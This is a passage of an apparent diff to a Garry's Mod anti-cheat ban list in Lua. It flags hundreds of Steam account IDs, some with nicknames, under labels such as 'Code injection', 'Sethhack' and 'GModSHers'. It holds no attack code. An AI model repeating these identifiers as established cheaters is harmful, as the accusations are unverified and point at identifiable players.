["STEAM_0:0:29255499"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:23750602"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:30499160"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:6068936"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:43159831"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:49009808"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:37118627"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:25331167"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:36927998"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:22482699"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:40749708"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:24595045"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:16350495"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26057694"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:23629652"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:36006702"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:43940964"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:22227066"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:18838483"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:36928215"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:30622959"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:32073049"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:18460921"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:12040384"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17505658"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:30537140"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:38812224"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:22582910"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:37991340"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:17652107"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19159317"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:45036640"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:31713955"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:10713231"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:32752830"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26895317"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:39157486"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25272720"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:29046889"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:41274325"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:49076431"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:41087968"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:40131982"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15710428"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:38362287"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:20497785"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:38972880"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:20811691"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:16267538"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:37325264"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:32234981"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:33749817"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:12808689"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:11799654"] = {Name = "SP2: SethHack(edit)", SH = true}, + ["STEAM_0:0:18287027"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:20409589"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:41918177"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18146611"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:23552236"] = {Name = "SP2: (cracked) sethhack v2", SH = true}, + ["STEAM_0:0:34483728"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:27209687"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18167133"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26692186"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:27042639"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:32835647"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:15292404"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:6183216"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:29853070"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:17424205"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:13196070"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25397734"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:36180396"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:25160443"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20854764"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:6076942"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:29248785"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:44810352"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:38604448"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:14790879"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:30051971"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24963345"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:24794531"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:43688624"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:38704795"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20703502"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:27014861"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18691624"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:25636734"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:40916370"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:17605909"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:39690375"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:11641057"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:17042971"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:33831311"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:19807101"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:25999084"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19353043"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:19293437"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:38808302"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:11801739"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:17600393"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:22284069"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:50012443"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:30569150"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:1567954"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:31775427"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:18222074"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:20406383"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26165399"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:27791499"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:10131725"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:21044008"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:5550966"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:30710525"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:23946737"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:21756969"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:16330620"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:15979882"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17568188"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:28903624"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:16485732"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:31831863"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:16190578"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:25559717"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:27332827"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:21918773"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:26269678"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:32971824"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19650313"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:15500261"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:29502701"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17908541"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:20280169"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20479184"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:14100771"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:29535476"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:31955945"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:3749847"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:13250571"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:8345987"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:32723575"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:23674993"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:36940612"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:31854870"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:44321488"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:47607534"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24859251"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:5100034"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:20264839"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:18843517"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:19767060"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:21491851"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17906432"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:18488836"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:18307252"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:18617255"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:2381903"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:44098755"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:22770384"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:26177708"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:29784969"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18007424"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:7334549"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:31629013"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:16373250"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:20314230"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:14563562"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:8343226"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:18515312"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:1426417"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15479136"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:30594971"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:41611335"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25315900"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:29886937"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:6669318"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:25879423"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:24309692"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:38846072"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25484778"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:25915952"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:30735853"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:36525933"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:10088463"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:8856483"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:45159127"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26188522"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20327715"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:5325124"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:40152334"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:29163952"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:0:14530371"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:38654884"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20743276"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:8836134"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:45119049"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15231011"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:42305682"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:42297594"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:31668419"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:20027677"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:22018370"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:25900751"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:40335356"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18511864"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17508660"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:29142644"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17465034"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:12190592"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:32655084"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:24822120"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19831541"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:24320781"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:10897283"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:28545861"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26118232"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:35192837"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:37984975"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:43197919"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:28657939"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:28282921"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:44107553"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:17790269"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:26052782"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:30652639"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:24988955"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:25624107"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24857790"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15712642"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:15789158"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:11431754"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:31925018"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15575003"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:15922559"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:25470945"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:16319183"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:41745347"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:35205289"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:41331055"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:10418914"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:13498644"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:28372989"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:22534432"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:43891704"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:43100738"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19348310"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:8284163"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:42802404"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:6018850"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:32269281"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:30874880"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:25783134"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:19916550"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:39036191"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:32819171"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:27936486"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:33917884"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:6059942"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24199196"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20043407"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:32979564"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:28533213"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:37950845"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:43221644"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:47444339"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:12099804"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:23645529"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:17003802"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:21605065"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:20546481"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:22010562"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:14922341"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:25309195"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:48004946"] = {Name = "SP2: Code Injection", SH = true}, + + ["STEAM_0:1:22083389"] = {Name = "BonkAddict", SH = true}, + ["STEAM_0:0:29195781"] = {Name = "From BigBoss", SH = true}, + ["STEAM_0:1:40953131"] = {Name = "kalist1527", SH = true}, + ["STEAM_0:1:49249815"] = {Name = "lemonthefruit1", SH = true}, + ["STEAM_0:1:30411341"] = {Name = "jojo123w", SH = true}, + ["STEAM_0:1:1786057"] = {SH = true}, + ["STEAM_0:0:50539862"] = {SH = true}, + ["STEAM_0:0:22266287"] = {Name = "iFry", SH = true}, + ["STEAM_0:0:50121251"] = {Name = "SH Mod", SH = true}, + ["STEAM_0:1:19815039"] = {Name = "fortter2", SH = true}, + ["STEAM_0:1:40605524"] = {Name = "roberto121096", SH = true}, + + ["STEAM_0:1:21056397"] = {Name = "Dealer/Negars", SH = true}, + ["STEAM_0:1:27308779"] = {Name = "Overwatch Eusion", SH = true}, + ["STEAM_0:0:27242516"] = {Name = "wtfsniper", SH = true}, + ["STEAM_0:0:48407601"] = {SH = true}, + ["STEAM_0:0:30912535"] = {SH = true}, + ["STEAM_0:1:51064463"] = {SH = true}, + ["STEAM_0:0:27014650"] = {SH = true}, + ["STEAM_0:1:35447840"] = {Name = "TopHat", SH = true}, --devnull + ["STEAM_0:1:48073051"] = {SH = true}, + ["STEAM_0:0:17711590"] = {Name = "Mr Eazy", SH = true}, + ["STEAM_0:1:33676142"] = {Name = "ltmikeyc", SH = true}, + ["STEAM_0:0:34715726"] = {Name = "CRACTICAL", SH = true}, + ["STEAM_0:1:41941032"] = {Name = "OmerON", SH = true}, + ["STEAM_0:0:49846367"] = {Name = "goofitaler", SH = true}, + ["STEAM_0:1:47231803"] = {Name = "Igor", SH = true}, + ["STEAM_0:0:24159635"] = {Name = "razbarry", SH = true}, + ["STEAM_0:0:20292360"] = {Name = "DJ-SCRAMPAGE", SH = true}, + + ["STEAM_0:0:26707259"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:19825574"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:18927264"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:36040190"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:38251387"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:39543268"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:23718967"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:10309922"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:10417976"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:39050301"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:33147875"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:34370714"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:48424005"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:24311352"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:28757742"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:20106843"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:25555698"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:26848836"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:26159643"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:29797333"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:36634664"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:31831965"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:38018800"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:21143343"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:29790222"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:8392364"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:14682870"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:26860260"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:35214598"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:14084529"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:36088084"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:3592017"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:34407341"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:30475525"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:19856818"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:43351291"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:43272353"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:19844125"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:20742342"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:21628567"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:17880799"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:25381040"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:47407672"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:28821506"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:29951145"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:45012497"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:29309865"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:18428802"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:44231995"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:3950924"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:37768656"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:27314406"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:39151178"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:41847396"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:33348455"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:35864181"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:1816051"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:31911048"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:26104355"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:11455628"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:5247800"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:45776064"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:37814204"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:48346538"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:32767364"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:31391445"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:17104852"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:26658275"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:15612692"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:27816443"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:37946973"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:39919078"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:15930135"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:30673177"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:45552887"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:19746511"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:3820407"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:19758658"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:44864516"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:10908429"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:31001396"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:19416161"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:36420722"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:46066"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:30826484"] = {Name = "GModSHers", SH = true}, + + ["STEAM_0:1:26299605"] = {Name = "borntoknow", SH = true}, + ["STEAM_0:0:42545823"] = {Name = "m1ningferdays", SH = true}, + ["STEAM_0:1:40354991"] = {Name = "dysfunksion", SH = true}, + ["STEAM_0:1:40892185"] = {Name = "Crackpotaroonio", SH = true}, + ["STEAM_0:0:38751730"] = {Name = "Crackpotdeano", SH = true}, + ["STEAM_0:1:34391986"] = {Name = "Cody", SH = true}, + ["STEAM_0:0:38545573"] = {Name = "vgbrunovg", SH = true}, + ["STEAM_0:0:11154803"] = {SH = true}, + ["STEAM_0:1:25796462"] = {SH = true}, + ["STEAM_0:0:47394191"] = {SH = true}, + ["STEAM_0:0:47344870"] = {SH = true}, + ["STEAM_0:1:22492087"] = {Name = "chewbaca427", SH = true}, + ["STEAM_0:0:39879112"] = {SH = true}, + ["STEAM_0:0:5995530"] = {SH = true}, + ["STEAM_0:0:22551858"] = {SH = true}, + ["STEAM_0:0:37649724"] = 